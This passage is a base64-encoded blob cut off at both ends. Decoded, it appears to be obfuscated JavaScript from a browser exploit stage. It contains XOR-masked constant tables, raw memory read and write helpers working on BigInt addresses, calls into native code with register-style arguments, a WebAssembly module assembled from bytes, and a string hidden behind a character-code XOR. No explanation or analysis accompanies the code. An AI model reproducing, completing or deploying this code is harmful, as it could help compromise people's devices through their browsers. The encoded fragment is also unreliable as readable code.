TE3MDYyMTkxMjkpKSwoNDI5NDk2NzI5NiArICgxNTEzNjk3NjA0IF4gLTE1NTIzMzg2MTIpKSwoNDI5NDk2NzI5NiArICg4MDk2NDUzOTYgXiAtMjA3NjAzNTc4MCkpLCg0Mjk0OTY3Mjk2ICsgKDE4MDMwNDUyMzYgXiAtMTA0OTYwNTQ4NCkpLCgxODUzMzIwMDM2IF4gMjA1NDY0NjYzNCksKDQyOTQ5NjcyOTYgKyAoMTg2OTg5MzQ4NiBeIC05ODIxMDI4ODIpKSwoNDI5NDk2NzI5NiArICgxMjQ2MTIzNTcwIF4gLTUzMjE5NTkwMSkpLCg0Mjk0OTY3Mjk2ICsgKDEyMzE5NzU3ODggXiAtNTMzODAwNjAyKSksKDQyOTQ5NjcyOTYgKyAoMTEzMDMxNzQzMyBeIC0zNjcwOTQxNDkpKSwoNDI5NDk2NzI5NiArICg5MjYzMDU2NTggXiAtMTY1ODM2ODM3MykpLCg0Mjk0OTY3Mjk2ICsgKDEyOTc2MjQzOTEgXiAtNDE0Njk5ODQ5KSksKDQyOTQ5NjcyOTYgKyAoMTY2NzkyMjU0MyBeIC05MTU5MDAwMTkpKSwoNDI5NDk2NzI5NiArICgxNDY3MzAzNTI1IF4gLTQzOTU2ODQ3KSksKDQyOTQ5NjcyOTYgKyAoMTM4MDU0MjU0NSBeIC0xMjg2ODUxNDQpKSwoNDI5NDk2NzI5NiArICgxMTYwOTMzMjM5IF4gLTI4MjMwMTI5OSkpLCg0Mjk0OTY3Mjk2ICsgKDExNDY1MDA5NDQgXiAtMTgyMTgxOTM2NSkpLCg0Mjk0OTY3Mjk2ICsgKDE3MDExOTc5MzUgXiAtODEzNzQ1MjYyKSksKDQyOTQ5NjcyOTYgKyAoMTg4Mzg1NTE0OSBeIC02MzIwNzE0NjkpKSwoNDI5NDk2NzI5NiArICgxMjY2MTEzMTMxIF4gLTQ5OTc3MjAwMSkpLCg0Mjk0OTY3Mjk2ICsgKDE4NTIyNjgzOTIgXiAtOTYyMjUwNjA2KSksKDQyOTQ5NjcyOTYgKyAoMTQxMzU3MTE3MiBeIC0yMTExOTM1MDc3KSksKDQyOTQ5NjcyOTYgKyAoMTI3OTU0Mzg2NSBeIC0xNzIzMzczMDE4KSldKTt0aGlzLmdJPXRoaXMuYkkobyk7Zm9yKGxldCBjPTA7YzxvLmxlbmd0aDtjKyspe2lmKG9bY10hPT1pLmJyKHRoaXMuZ0kraig0KmMpKSl0aHJvdyBuZXcgRXJyb3IoIiIpfWZvcihsZXQgYz00ODtjPDUzO2MrKyl7aS5TbygpLmpvKFtbdGhpcy5DSSxbW2kua28sMCxqKGMpXV1dXSk7aWYoUC56bi5abi5jYWxsKHRoaXMuZ0ksW3RoaXMuQ0ksMHgyMjIybiwweDMzMzNuXSkhPT1qKGMpKXRocm93IG5ldyBFcnJvcigiIil9aS5TbygpLmpvKFtbdGhpcy5DSSxbW2kua28sMCwweDBuXV1dXSk7Y29uc3QgdD1jLmhhKDB4MzM0NG4sMHgxMTExbik7aWYoUC56bi5abi5jYWxsKHRoaXMuZ0ksW3RoaXMuQ0ksMHgzMzQ0biwweDExMTFuXSkhPT10KXRocm93IG5ldyBFcnJvcigiIil9bEkoKXtQLnpuLkRuO2NvbnN0IGk9UC56bi5YbixjPShQLnpuLmpuLG5ldyBVaW50MzJBcnJheShbKDQyOTQ5NjcyOTYgKyAoMTU5OTU2NzIyMiBeIC0xOTc0MTg0NDM5KSksKDQyOTQ5NjcyOTYgKyAoMTEyNzQyODQ0OSBeIC0zNjAwOTYwOTkpKSwoNDI5NDk2NzI5NiArICgxNzAxNTM5OTA4IF4gLTg2NTQ2MjMzOCkpLCg0Mjk0OTY3Mjk2ICsgKDc1OTcxNTM3MyBeIC0yMDc1NTIyNjAzKSksKDQyOTQ5NjcyOTYgKyAoMTM2Njg0NDQ5NiBeIC0xMjYxNDM1NzgpKSwoNDI5NDk2NzI5NiArICg4NjM1ODEyOTAgXiAtMTcwMzA1MjM4NikpLCg0Mjk0OTY3Mjk2ICsgKDE3MzE4MTY1MjcgXiAtODM0OTIyNTc0KSksKDQyOTQ5NjcyOTYgKyAoMTkxNjEwNjA4NiBeIC02Njc1ODQ4ODgpKSwoNDI5NDk2NzI5NiArICgxNzg2Mjc5NzUyIF4gLTE4MjUwMTU5OTIpKSwoNDI5NDk2NzI5NiArICgxNDEzNzA0MDQzIF4gLTUxNTY3Nzg3NykpLCg0Mjk0OTY3Mjk2ICsgKDE3NDg1OTM5OTEgXiAtNzgwNTcxMzc4KSksKDEyNjUwNjczNjEgXiA0MzQ1OTUxMzcpLCg0Mjk0OTY3Mjk2ICsgKDE4NTAyOTE1MDQgXiAtNjg3MjI3NjI0KSksKDEzNjQzNTk1MzcgXiA5NzkwMDc1NjYpLCgxNDMyNTY5OTU5IF4gMjMyODU3NDMpLCgxMDk1MjUwNzY1IF4gMTM5NzI0MTQ0NSksKDEyMTEzOTQ0MjYgXiAyMTAwNTg4MDgyKSwoMTc2NDk3Nzk5MCBeIDQwNjAyNzM4NSksKDE4MDE5Mjk1NTYgXiAxMDYzNzMyNjYzKSwoNDI5NDk2NzI5NiArICg5MjkyNjM3MjIgXiAtMTY1Mjc4ODMyMSkpLCg0Mjk0OTY3Mjk2ICsgKDE0ODMwMzM5MjcgXiAtMTU5MTM5MDg2MykpLCg0Mjk0OTY3Mjk2ICsgKDEyNDg5Mzk1OTkgXiAtMjE0ODcyNTM3KSksKDQyOTQ5NjcyOTYgKyAoOTExMjQzODg5IF4gLTE1NDA0ODUzMDYpKSwoNDI5NDk2NzI5NiArICgxMjgwOTE5NjU5IF4gLTE2MzE5MDE1NzkpKSwoNDI5NDk2NzI5NiArICgyMDUzNzg2MTc5IF4gLTE0NjUyMzQ4MjQpKSwoNDI5NDk2NzI5NiArICgxNjk4MjQ3NDk4IF4gLTg2NDQ0Mjc0MSkpLCg0Mjk0OTY3Mjk2ICsgKDg0NDE5NDkyNyBeIC0xNjA3Mzg2MzYyKSksKDQyOTQ5NjcyOTYgKyAoMTM2Mzc2NjY0MSBeIC0xMzM2MzE4MTcpKSwoNDI5NDk2NzI5NiArICgxOTM2ODEyMDgwIF4gLTY0NjQyMDE4MCkpLCg0Mjk0OTY3Mjk2ICsgKDk2MTc2MzM4MiBeIC0zNDA3MTU0NTgpKSwoNDI5NDk2NzI5NiArICgxNDk3ODQ4Mzk4IF4gLTUxNjgwNDQ3OSkpLCg0Mjk0OTY3Mjk2ICsgKDEzNDkwNzI5NjggXiAtOTQyOTA5ODQpKSwoNDI5NDk2NzI5NiArICgxMTI3ODIyOTUyIF4gLTM4MjE5MjI1NCkpLCg0Mjk0OTY3Mjk2ICsgKDE4OTg3OTYwODEgXiAtNjE4MTEzMDYyKSksKDQyOTQ5NjcyOTYgKyAoMTc2ODc2NTc4MiBeIC0xMDE2MzgyNzk2KSksKDQyOTQ5NjcyOTYgKyAoMTQ0OTc0MTQyMyBeIC01OTg3OTUyNSkpLCg0Mjk0OTY3Mjk2ICsgKDExNzc5NzE1MDggXiAtMzMxNzgxOTQ3KSksKDQyOTQ5NjcyOTYgKyAoMTYwMDk5NjcyOSBeIC0xNzY0MDQ4NTYpKSwoNDI5NDk2NzI5NiArICgxNzAyMTE1NDI1IF4gLTgxNTUxNDczNSkpLCg0Mjk0OTY3Mjk2ICsgKDEzOTY5MjExNDAgXiAtMTEzMTU5OTc4KSksKDQyOTQ5NjcyOTYgKyAoOTExMjM5Mjc3IF4gLTE2NzMyMzc2MDcpKSwoNDI5NDk2NzI5NiArICgxNzg1NjIxODU4IF4gLTEwNjYxNzY4NjkpKSwoNDI5NDk2NzI5NiArICgxMjY2MjQ1NDg0IF4gLTUxMzMxOTc4NikpLCg0Mjk0OTY3Mjk2ICsgKDIwMjA2MjU5NzcgXiAtMTM1Mzc1ODg2MikpLCg0Mjk0OTY3Mjk2ICsgKDIwMzc2MDU0OTEgXiAtNzQ4MDAxMzk0KSksKDQyOTQ5NjcyOTYgKyAoMTE0NTI1NDE5NSBeIC0yOTYxNDQxNzkpKSwoNDI5NDk2NzI5NiArICgxNzg2MzM3MTE0IF4gLTEwNjU3OTAyOTUpKSwoNDI5NDk2NzI5NiArICg4OTYyMjQzMzYgXiAtMTYxOTcwMTgyNCkpLCg0Mjk0OTY3Mjk2ICsgKDE2ODMwNjA4MTUgXiAtODMzNTg2MjY3KSksKDQyOTQ5NjcyOTYgKyAoMTY4MzI1NDg1NyBeIC04MzM1MjQzMTgpKSwoNDI5NDk2NzI5NiArICgxNzg2MzMyMjQ4IF4gLTEwNjU0MDAzOTApKSwoNDI5NDk2NzI5NiArICgxMjk5MDE3MzM0IF4gLTQxMjQ1NTU1MCkpLCg0Mjk0OTY3Mjk2ICsgKDExMjkzMzY5MTYgXiAtMzc5NjI4NjM1KSksKDQyOTQ5NjcyOTYgKyAoMTM5ODc0ODc1NiBeIC0xMTIzMTQ5NzEpKSwoNDI5NDk2NzI5NiArICgxNDgwNjc0ODk0IF4gLTIyOTU1MjcwNikpLCg0Mjk0OTY3Mjk2ICsgKDE0NjU4Njk5NDEgXiAtNDQyMTA3OTMpKSwoNDI5NDk2NzI5NiArICgxMTgwNjUzMTM5IF4gLTMzMDYwNzE5MykpLCg0Mjk0OTY3Mjk2ICsgKDE3Njc5OTA1OTQgXiAtMTAxNTI1NzQxMykpLCg0Mjk0OTY3Mjk2ICsgKDE4ODIwMTQ1NzUgXiAtNjM0MTc1MzM5KSksKDQyOTQ5NjcyOTYgKyAoMTQxNDI4NTM5MCBeIC0yMDg5NTk4NzE1KSksKDQyOTQ5NjcyOTYgKyAoMjAxNzU0NjI4OCBeIC03NjU5NjMzMTUpKSwoNDI5NDk2NzI5NiArICgxMzgyMTg1MjcyIF4gLTEyNjMyMTk3OCkpLCg0Mjk0OTY3Mjk2ICsgKDExMjk2MDg1MDMgXiAtMTg3ODgxNjQ0OSkpLCg0Mjk0OTY3Mjk2ICsgKDEzOTcxMTUxODQgXiAtMTQ0MjQyODQ4NykpLCg0Mjk0OTY3Mjk2ICsgKDE2ODA5NTc3NzUgXiAtMTM2OTI0NDYwMSkpLCg0Mjk0OTY3Mjk2ICsgKDg5NjA5MzgwMyBeIC0xOTIzMzQwNDc3KSksKDQyOTQ5NjcyOTYgKyAoMTA5NzI4MjE2OSBeIC0xODE3NzU5MTUyKSksKDQyOTQ5NjcyOTYgKyAoMTA5NTE5MzkzNCBeIC03NTQ1MDU2NTgpKSwoNDI5NDk2NzI5NiArICgxNzE4OTA0Njg3IF4gLTE0MzM2MjU5OCkpLCg0Mjk0OTY3Mjk2ICsgKDE2NjczMzI0MzkgXiAtMzk1ODA2MTY0KSksKDQyOTQ5NjcyOTYgKyAoMTk1MTYyMjQ2NiBeIC0xNjIyNzc1ODc1KSksKDQyOTQ5NjcyOTYgKyAoOTI5OTIxNjA3IF4gLTgzMTY4NjA5NykpLCgxNjMzMTY5NTE4IF4gOTAwMTg4NzUxKSwoNDI5NDk2NzI5NiArICgyMDAzNTMxNTc0IF4gLTU3OTU3MDQ3NCkpLCg0Mjk0OTY3Mjk2ICsgKDk0NjE1OTk4NiBeIC0xODYwMTU4ODMzKSksKDQyOTQ5NjcyOTYgKyAoMjAzNzAwOTUyNCBeIC04MDIyOTA4MTYpKSwoNDI5NDk2NzI5NiArICgxNzAwMDMzOTA5IF4gLTg3MDg5OTA2OSkpLCg0Mjk0OTY3Mjk2ICsgKDEyMjkyMTEyMzMgXiAtNTM2NDcxMTQzKSksKDQyOTQ5NjcyOTYgKyAoMTYzNDg4MDA3MCBeIC05MzYxNzAwNTIpKSwoNDI5NDk2NzI5NiArICgxMzE0MTU3ODkxIF4gLTQyNjYzMjUxMykpLCg0Mjk0OTY3Mjk2ICsgKDE2Njg4OTIyNzIgXiAtMTI1NTc4MjAwMSkpLCg0Mjk0OTY3Mjk2ICsgKDE3NjY1NDAxMTggXiAtMTEzNjEwNjY3OSkpLCg0Mjk0OTY3Mjk2ICsgKDIwMzcwMDc3MzAgXiAtMTQwMjM3ODg5OSkpLCg0Mjk0OTY3Mjk2ICsgKDE2NDk3NTkwMjYgXiAtMTIxOTA3MTE4NykpLCg0Mjk0OTY3Mjk2ICsgKDE2NDkyOTkwNTUgXiAtMTIxOTY2MjIyNCkpLCg0Mjk0OTY3Mjk2ICsgKDEyODI2OTgwNzQgXiAtMTcyMDIzNTE5NSkpLCg0Mjk0OTY3Mjk2ICsgKDg3ODk5NTMwNCBeIC01MTMzMjUxOTMpKSwoNDI5NDk2NzI5NiArICgxODUwMTA4MDI2IF4gLTExNTMwODczODcpKV0pKTt0aGlzLktJPXRoaXMuYkkoYyk7Zm9yKGxldCBvPTA7bzxjLmxlbmd0aDtvKyspe2lmKGNbb10hPT1pLmJyKHRoaXMuS0kraig0Km8pKSl0aHJvdyBuZXcgRXJyb3IoIiIpfWZvcihsZXQgYz00ODtjPDUzO2MrKyl7aS5TbygpLmpvKFtbdGhpcy5DSSxbW2kua28sMCxqKGMpXV1dXSk7aWYoUC56bi5abi5jYWxsKHRoaXMuS0ksW3RoaXMuQ0ksMHgyMjIybiwweDMzMzNuXSkhPT1qKGMpKXRocm93IG5ldyBFcnJvcigiIil9aS5IaSh0aGlzLkNJLDB4MG4pO2NvbnN0IG89bmV3IFVpbnQzMkFycmF5KG5ldyBVaW50MzJBcnJheSgzMikuZmlsbCgoNDI5NDk2NzI5NiArICgyMDA0NDMyNzA3IF4gLTE1NjkwNTY5MzIpKSkpO3RoaXMuaEkudUkobyksUC56bi5XaC5aYih0aGlzLm5JLDB4MG4sMHgzMDBuKTtpZigweDBuIT09UC56bi5abi5jYWxsKHRoaXMuS0ksW3RoaXMuQ0ksdGhpcy5oSS5kSSgpKzB4MzhuLHRoaXMuaEkuZEkoKSsweGM4bix0aGlzLmhJLmRJKCkrMHhkMG4sdGhpcy5oSS5kSSgpKzB4ZTBuXSkpdGhyb3cgbmV3IEVycm9yKCIiKTtjb25zdCB0PWkuYnIodGhpcy5oSS5kSSgpKzB4ZDBuKSxJPVAuem4uWWgucWIoaihvLmJ5dGVMZW5ndGgpKTtpZih0IT09dGhpcy5MSShvLEkpKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCBjPTA7YzxvLmxlbmd0aDtjKyspe2lmKGkuYnIodGhpcy5oSS5hSStqKDQqYykpIT09aS5icihJK2ooNCpjKSkpdGhyb3cgbmV3IEVycm9yKCIiKX19YkkoaSl7UC56bi5Ebjtjb25zdCBjPVAuem4uWG47UC56bi5qbjtQLnpuLldoLlpiKHRoaXMubkksMHgwbiwweDMwMG4pLHRoaXMuaEkudUkoaSk7dGhpcy5MSShpLHRoaXMuaEkuYUkpO1Auem4uV24uY2FsbCh7YWI6dGhpcy50SS5JSSxzYjp0aGlzLm5JLHgxOnRoaXMuaEkuZEkoKSx4MjoweDBuLGliOjB4MG4sYmI6MHgwbn0pO2NvbnN0IG89UyhjLktpKHRoaXMubkkrMHgxMzhuKSk7UyhjLktpKHRoaXMubkkrMHg4bikpO3JldHVybiBvfUxJKGksYyl7aWYoIShpIGluc3RhbmNlb2YgVWludDMyQXJyYXkpKXRocm93IG5ldyBFcnJvcigiIik7aWYoaS5ieXRlTGVuZ3RoJTMyKXRocm93IG5ldyBFcnJvcigiIik7aWYoaS5ieXRlTGVuZ3RoPj0oMTI5OTA2NzQ3MyBeIDEyOTkwNjcyMTcpKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbz1QLnpuLlhuLk9pLHQ9UC56bi5YbixJPVAuem4uam47bGV0IG49MDtmb3IoY29uc3QgaCBpbiBpKXtjb25zdCBzPTQqaCx5PWlbaF0sbD0weGZmZmZmZjAwMDAwMDAwbiYweGZmZmZmZmZmMDAwMDAwMDBuJihqKHMpPDwweDFFbiYweGZmZmZmZmZmMDAwMDAwMDBuKSsweDEwMDAwMDAwMG58MHhGRkZGRkZGRm4maihuKTtsZXQgQz1JLndhLmJpbmQoSSk7Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbMTA0LCAxMDksIDExMSwgMTExLCA5NiwgNTgsIDU2LCAxMDYsIDU5LCAxMDQsIDEwOCwgMTA0LCA5NiwgNTksIDU2LCAxMDcsIDU2LCA5NywgNjMsIDEwOSwgMTA1LCA1OSwgNjAsIDEwNywgOTcsIDExMCwgNjMsIDExMSwgMTA5LCAxMTEsIDYxLCAxMDksIDYxLCAxMTAsIDEwOCwgOTYsIDEwNiwgNjAsIDU5LCAxMDVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gODkpO30pLmpvaW4oIiIpKSkuem4uTm4ud1lrOEpnJiYoQz1JLmhhLmJpbmQoSSkpO2NvbnN0IGc9Qyh5LDB4MTIwMDAwMDAwMDAwMDAwMG58bCksYj1DKHksMHgxMzAwMDAwMDAwMDAwMDAwbnxsKTtuPW8uc24oYj4+MHgxN25eZz4+MHgyN24pLHQuZHIoYytqKDQqaCksbil9cmV0dXJuIG59Y0koaSl7dGhpcy5oSS51SShpKSxQLnpuLldoLlpiKHRoaXMubkksMHgwbiwweDMwMG4pO2lmKDB4MG4hPT1QLnpuLlpuLmNhbGwodGhpcy5LSSxbdGhpcy5DSSx0aGlzLmhJLmRJKCkrMHgzOG4sdGhpcy5oSS5kSSgpKzB4YzhuLHRoaXMuaEkuZEkoKSsweGQwbix0aGlzLmhJLmRJKCkrMHhlMG5dKSl0aHJvdyBuZXcgRXJyb3IoIiIpO1Auem4uV24uY2FsbCh7YWI6dGhpcy50SS5JSSxzYjp0aGlzLm5JLHgxOnRoaXMuaEkuZEkoKSx4MjoweDBuLGliOjB4MG4sYmI6MHgwbn0pO2NvbnN0IGM9UyhQLnpuLlhuLktpKHRoaXMubkkrMHgxMzhuKSk7UyhQLnpuLlhuLktpKHRoaXMubkkrMHg4bikpO3JldHVybiBjfW9JKGksYyl7dGhpcy5oSS51SShjKSxQLnpuLldoLlpiKHRoaXMubkksMHgwbiwweDMwMG4pLFAuem4uWG4uU28oKS5qbyhbW3RoaXMubkksW1tQLnpuLlhuLmtvLDgsaihjLmJ5dGVMZW5ndGgpXSxbUC56bi5Ybi5rbywoMTU5OTE3NDQ5NyBeIDE1OTkxNzQyMzMpLFAuem4uam4uZXIoaSwweDQ3RUFuKV1dXV0pO2lmKDB4MG4hPT1QLnpuLlpuLmNhbGwodGhpcy5LSSxbdGhpcy5DSSx0aGlzLmhJLmRJKCkrMHgzOG4sdGhpcy5oSS5kSSgpKzB4YzhuLHRoaXMuaEkuZEkoKSsweGQwbix0aGlzLmhJLmRJKCkrMHhlMG5dKSl0aHJvdyBuZXcgRXJyb3IoIiIpO1Auem4uV24uY2FsbCh7YWI6dGhpcy50SS5JSSxzYjp0aGlzLm5JLHgxOnRoaXMuaEkuZEkoKSx4MjoweDBuLGliOjB4MG4sYmI6MHgwbn0pO2NvbnN0IG89UyhQLnpuLlhuLktpKHRoaXMubkkrMHgxMzhuKSk7UyhQLnpuLlhuLktpKHRoaXMubkkrMHg4bikpO3JldHVybiBvfWlJKGkpe3RoaXMuaEkuWEkoaSksUC56bi5XaC5aYih0aGlzLm5JLDB4MG4sMHgzMDBuKTtpZigweDBuIT09UC56bi5abi5jYWxsKHRoaXMuS0ksW3RoaXMuQ0ksdGhpcy5oSS5kSSgpKzB4MzhuLHRoaXMuaEkuZEkoKSsweGM4bix0aGlzLmhJLmRJKCkrMHhkMG4sdGhpcy5oSS5kSSgpKzB4ZTBuXSkpdGhyb3cgbmV3IEVycm9yKCIiKTtQLnpuLlduLmNhbGwoe2FiOnRoaXMudEkuSUksc2I6dGhpcy5uSSx4MTp0aGlzLmhJLmRJKCkseDI6MHgwbixpYjoweDBuLGJiOjB4MG59KTtjb25zdCBjPVMoUC56bi5Ybi5LaSh0aGlzLm5JKzB4MTM4bikpO1MoUC56bi5Ybi5LaSh0aGlzLm5JKzB4OG4pKTtyZXR1cm4gY319Y2xhc3MgY2l7Y29uc3RydWN0b3IoKXt0aGlzLnBJPVAuem4uWWgucWIoKDg2MjE1NDg0OSBeIDg2MjE1NTYxNykpLHRoaXMubUk9bnVsbCx0aGlzLmFJPW51bGx9ZEkoKXtpZihudWxsPT09dGhpcy5tSXx8bnVsbD09PXRoaXMuYUkpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gdGhpcy5wSX1YSShpKXtpZihpJTMyKXRocm93IG5ldyBFcnJvcigiIik7UC56bi5XaC5aYih0aGlzLnBJLDB4MG4sMHgzMDBuKTtjb25zdCBjPVAuem4uWWgucWIoaihpKSksbz1QLnpuLlloLnFiKGooaSkpO1Auem4uWG4uU28oKS5qbyhbW3RoaXMucEksW1tQLnpuLlhuLk5vLCgxMzk5OTkzNDA5IF4gMTM5OTk5MzQ4MSksaV0sW1Auem4uWG4ua28sNTYsY10sW1Auem4uWG4uTm8sKDIwNTQzNzE0MDAgXiAyMDU0MzcxNDY0KSxpXSxbUC56bi5Ybi5rbywoODQzNDc5NjU5IF4gODQzNDc5NjkxKSxvXSxbUC56bi5Ybi5rbywoODc3MjIxMjA0IF4gODc3MjIwOTI0KSxpXV1dXSksdGhpcy5tST1jLHRoaXMuYUk9b311SShpKXtpZighKGkgaW5zdGFuY2VvZiBVaW50MzJBcnJheSkpdGhyb3cgbmV3IEVycm9yKCIiKTtpZihpLmJ5dGVMZW5ndGglMzIpdGhyb3cgbmV3IEVycm9yKCIiKTtQLnpuLldoLlpiKHRoaXMucEksMHgwbiwweDMwMG4pO2NvbnN0IGM9UC56bi5Ybi5fbyhpKSxvPVAuem4uWWgucWIoaihpLmJ5dGVMZW5ndGgpKTtQLnpuLldoLlliKG8sYyxqKGkuYnl0ZUxlbmd0aCkpO2NvbnN0IHQ9UC56bi5ZaC5xYihqKGkuYnl0ZUxlbmd0aCkpO1Auem4uWG4uU28oKS5qbyhbW3RoaXMucEksW1tQLnpuLlhuLk5vLCg5NDY2MjgyMDEgXiA5NDY2MjgyNTcpLGkuYnl0ZUxlbmd0aF0sW1Auem4uWG4ua28sNTYsb10sW1Auem4uWG4uTm8sKDEzODAwMDkwNzYgXiAxMzgwMDA5MTQwKSxpLmJ5dGVMZW5ndGhdLFtQLnpuLlhuLmtvLCgyMDE5ODQ1MjAxIF4gMjAxOTg0NTI5NyksdF0sW1Auem4uWG4ua28sKDE2OTkwNTAzMjYgXiAxNjk5MDUwMDQ2KSxpLmJ5dGVMZW5ndGhdXV1dKSx0aGlzLm1JPW8sdGhpcy5hST10fX1jbGFzcyBvaXtjb25zdHJ1Y3Rvcigpe313ZChpLGM9MCl7dGhyb3cgbmV3IEVycm9yKCIiKX1BZChpLGMpe2NvbnN0IG89UC56bi5Kbi5vSShpLk50KCksYyk7cmV0dXJuIG0ub3Qobyl9emQoaSl7Y29uc3QgYz1QLnpuLkpuLmlJKGkpO3JldHVybiBtLm90KGMpfVNkKCl7aWYobnVsbD09PUYuY2FsbGVyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIEYuY2FsbGVyfX1yZXR1cm4gci5fZD1mdW5jdGlvbigpe2NvbnN0IGk9UC56bixjPWkuWG4sbz1pLk1uLHQ9bmV3IFVpbnQ4QXJyYXkoWzAsOTcsKDE4OTkxODkyOTcgXiAxODk5MTg5MzE0KSwoMjAzNzUzNTU5NCBeIDIwMzc1MzU0OTUpLDEsMCwwLDAsMSw1MiwzLDk2LDgsKDEzNzkwMjgzMzMgXiAxMzc5MDI4MjQzKSwoMTYzMDg4MzE4OCBeIDE2MzA4ODMwODIpLCg3NTgyMDQ3NTkgXiA3NTgyMDQ3MTMpLCg4NzcxNTQ4NjYgXiA4NzcxNTQ4OTIpLCgxNzMzOTY2MTM3IF4gMTczMzk2NjE1MSksKDE4MDMxODMyMjEgXiAxODAzMTgzMTE1KSwoMTk1MDgyODYyNCBeIDE5NTA4Mjg1OTApLCg5MTEzNzM2ODUgXiA5MTEzNzM1NzkpLDEsKDE5NzA2Mjk3NDEgXiAxOTcwNjI5NjUxKSw5NiwxNiwoMTc0OTgzMjAxNSBeIDE3NDk4MzE5ODQpLCgyMDMzMDEwMDM3IF4gMjAzMzAwOTkzMCksKDE1OTg2NDU1NTkgXiAxNTk4NjQ1NTc2KSwoMjAzNjgxODc2OSBeIDIwMzY4MTg3MzQpLCgxNjMwODkwMzEyIF4gMTYzMDg5MDI5NSksKDExMTUxODU1MDggXiAxMTE1MTg1NDM1KSwoMTgxNTI0NDYyMCBeIDE4MTUyNDQ1OTUpLCgxMjQ4NzQzNDk3IF4gMTI0ODc0MzQ3OCksKDE4NTA4ODg1NjYgXiAxODUwODg4NDU3KSwoMjAzMzgwNDYyNCBeIDIwMzM4MDQ1OTEpLCgxNDE0NzU1NDMyIF4gMTQxNDc1NTM1MSksKDIwMjAzNzI4NTYgXiAyMDIwMzcyNzQzKSwoMTkxOTk1NjA1MiBeIDE5MTk5NTYwMTEpLCg5MTMyNTgwMzMgXiA5MTMyNTgwNjIpLCgxNzUxNTQ0MTQwIF4gMTc1MTU0NDExNSksKDE3MTQ1MDkxNzYgXiAxNzE0NTA5MDYzKSwxLCgxMTYyODkyNDA5IF4gMTE2Mjg5MjI5NSksOTYsMTYsKDE3ODM2NTA0MTQgXiAxNzgzNjUwMzIxKSwoMTk1Mzg1MjUxNyBeIDE5NTM4NTI0NDIpLCgxNTk5NTUwMDY2IF4gMTU5OTU0OTk2NSksKDEzMjg4MzY5MTYgXiAxMzI4ODM2OTM5KSwoODYyNjcwMTU2IF4gODYyNjcwMTMxKSwoODYxNDg0ODUxIF4gODYxNDg0ODc2KSwoMTkwMTY3Njg3NSBeIDE5MDE2NzY4NTIpLCgxNzY1MDQ2MTAwIF4gMTc2NTA0NjA1OSksKDExMTI1NTgxOTggXiAxMTEyNTU4MDg5KSwoMTg1MjczMDk2NSBeIDE4NTI3MzA5MjIpLCgyMDU0NTA4Mzk4IF4gMjA1NDUwODMwNSksKDE1OTk1NjM4NDMgXiAxNTk5NTYzODM2KSwoMTg4NjE1NTM3NyBeIDE4ODYxNTUyNzgpLCgxMTYyNTY1MTc1IF4gMTE2MjU2NTE5MiksKDE3ODMwMDI5NTMgXiAxNzgzMDAyOTM0KSwoMTI5Njg1NTkwNiBeIDEyOTY4NTU4MzcpLDAsMyw1LDQsMCwxLDEsMiw0LDQsMSwoMTI3OTczNTE1MiBeIDEyNzk3MzUwNDApLDAsMiw1LDQsMSwxLDEsMSw3LDE3LDQsMSwoMTk5OTQ1NzM2MCBeIDE5OTk0NTczMTYpLDEsMCwxLCgxODE2NTM4NDg1IF4gMTgxNjUzODM5MiksMiwwLDEsKDEzOTY4NTI4MTkgXiAxMzk2ODUyNzk2KSwwLDAsMSwoMTk4NzY3MTYzMyBeIDE5ODc2NzE2MDcpLDAsMyw5LDcsMSwwLDY1LDAsMTEsMSwwLDEwLCgxNDgyMjQ0NDI1IF4gMTQ4MjI0NDQ5MSksMSw0LDQsMCw2NiwwLDExLDg4LDAsMzIsMSwoMTcxNzk4NzQwOCBeIDE3MTc5ODc1ODEpLDY2LDMyLCgxNTE3NDM1MjA5IF4gMTUxNzQzNTM0MyksMzIsMCwoMjAyMDY4NTM5MCBeIDIwMjA2ODU1MzkpLCgxNzQ5MjQ4NTc4IF4gMTc0OTI0ODcxMCksMzIsMywoMTM5NzM3OTM5NyBeIDEzOTczNzk1NjApLDY2LDMyLCgxMTQ1NDY1NDE1IF4gMTE0NTQ2NTUzNyksMzIsMiwoODk0NjQ0MjkxIF4gODk0NjQ0NDYyKSwoMTM0NjUzMTY2MSBeIDEzNDY1MzE3ODUpLDMyLDUsKDEzODM2MTU4MjAgXiAxMzgzNjE1OTY5KSw2NiwzMiwoMTkwMjcyODI1OCBeIDE5MDI3MjgzODgpLDMyLDQsKDE0NDc5MTI1NjggXiAxNDQ3OTEyNjYxKSwoMTM0ODk1ODA1MyBeIDEzNDg5NTgxNzcpLDMyLDcsKDE5NDk2NjA0NjYgXiAxOTQ5NjYwNTc1KSw2NiwzMiwoMTQ4MDAxNDEyNSBeIDE0ODAwMTQyNTEpLDMyLDYsKDEzMzM0MDcwOTQgXiAxMzMzNDA3MTk1KSwoMjA1MjQxODQyNiBeIDIwNTI0MTg1NTgpLDMyLDksKDgwOTg1MDk1MSBeIDgwOTg1MTExNCksNjYsMzIsKDE4MzYyNzIxODIgXiAxODM2MjcyMzA0KSwzMiw4LCg5Mjc4NzAyNjEgXiA5Mjc4NzAzNjApLCgxMTQ4MTQ0NDM3IF4gMTE0ODE0NDU2MSksMzIsMTEsKDk0NjE3MDE5OCBeIDk0NjE3MDM2MyksNjYsMzIsKDE3NTIxOTIxMDMgXiAxNzUyMTkyMjI1KSwzMiwxMCwoMTczNDQ0MDI5MyBeIDE3MzQ0NDAzOTIpLCgxNjAwOTM5MTI5IF4gMTYwMDkzOTI2MSksMzIsMTMsKDExMTA3MzI5MTYgXiAxMTEwNzMzMDE3KSw2NiwzMiwoODI4NDUyMTY1IF4gODI4NDUyMjkxKSwzMiwxMiwoMTQ5ODI0Njk2MCBeIDE0OTgyNDcwNjkpLCgxNzgzNDQ3ODkzIF4gMTc4MzQ0ODAxNyksMzIsMTUsKDkyODE0NjUyMCBeIDkyODE0NjY3NyksNjYsMzIsKDE0OTc5MTIxNzMgXiAxNDk3OTEyMjk5KSwzMiwxNCwoMTE3OTgwMzQ0MyBeIDExNzk4MDM1NTApLCg4NTg2MDc5NjEgXiA4NTg2MDgwOTMpLDY1LDAsMTcsMCwwLDE1LDExLDM3LDAsMzIsMCwzMiwxLDMyLDIsMzIsMywzMiw0LDMyLDUsMzIsNiwzMiw3LDMyLDgsMzIsOSwzMiwxMCwzMiwxMSwzMiwxMiwzMiwxMywzMi